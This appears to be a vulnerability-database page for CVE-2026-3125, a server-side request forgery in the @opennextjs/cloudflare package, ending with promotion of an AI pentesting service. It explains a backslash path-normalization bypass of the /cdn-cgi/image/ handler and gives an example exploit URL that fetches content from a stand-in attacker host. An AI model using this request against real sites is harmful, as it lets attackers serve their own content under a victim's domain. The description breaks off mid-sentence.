CVE-2026-3125
6.5 · MEDIUMOverview
CVE-2026-3125 is a medium-severity vulnerability affecting opennextjs opennext_for_cloudflare. It was published on March 4, 2026 and has a CVSS 3.1 base score of 6.5 (MEDIUM).
This vulnerability has a CVSS 3.1 base score of 6.5, rated MEDIUM. It can be exploited remotely over the network. No authentication or special privileges are required for exploitation.
Technical Description
A Server-Side Request Forgery (SSRF) vulnerability was identified in the @opennextjs/cloudflare package, resulting from a path normalization bypass in the /cdn-cgi/image/ handler.The @opennextjs/cloudflare worker template includes a /cdn-cgi/image/ handler intended for development use only. In production, Cloudflare's edge intercepts /cdn-cgi/image/ requests before they reach the Worker. However, by substituting a backslash for a forward slash (/cdn-cgi\image/ instead of /cdn-cgi/image/), an attacker can bypass edge interception and have the request reach the Worker directly. The JavaScript URL class then normalizes the backslash to a forward slash, causing the request to match the handler and trigger an unvalidated fetch of arbitrary remote URLs.
For example:
https://victim-site.com/cdn-cgi\image/aaaa/https://attacker.com
In this example, attacker-controlled content from attacker.com is served through the victim site's domain (victim-site.com), violating the same-origin policy a
Remediation
Check the references section for vendor advisories and patches from opennextjs. Update opennext_for_cloudflare to the latest patched version. If immediate patching is not possible, review the CVSS vector to understand the attack surface and apply compensating controls such as network segmentation or access restrictions.
Affected Products
| Vendor | Product | Versions | Status |
|---|---|---|---|
| opennextjs | opennext_for_cloudflare | >= 0, < 1.17.1 | Affected |
Frequently Asked Questions
What is CVE-2026-3125?
CVE-2026-3125 is a medium-severity vulnerability affecting opennextjs opennext_for_cloudflare. It was published on March 4, 2026 and has a CVSS 3.1 base score of 6.5 (MEDIUM).
How severe is CVE-2026-3125?
This vulnerability has a CVSS 3.1 base score of 6.5, rated MEDIUM. It can be exploited remotely over the network. No authentication or special privileges are required for exploitation.
How do I fix or remediate CVE-2026-3125?
Check the references section for vendor advisories and patches from opennextjs. Update opennext_for_cloudflare to the latest patched version. If immediate patching is not possible, review the CVSS vector to understand the attack surface and apply compensating controls such as network segmentation or access restrictions.
How can CyberStrike help with CVE-2026-3125?
CyberStrike's AI-powered security agents can automatically detect CVE-2026-3125 across your infrastructure using autonomous pentesting, DAST scanning, and HackBrowser. The platform continuously monitors for known vulnerabilities and provides actionable remediation guidance prioritized by real-world exploitability.
How CyberStrike Helps
AI agents map your attack surface to find vulnerabilities like this one.
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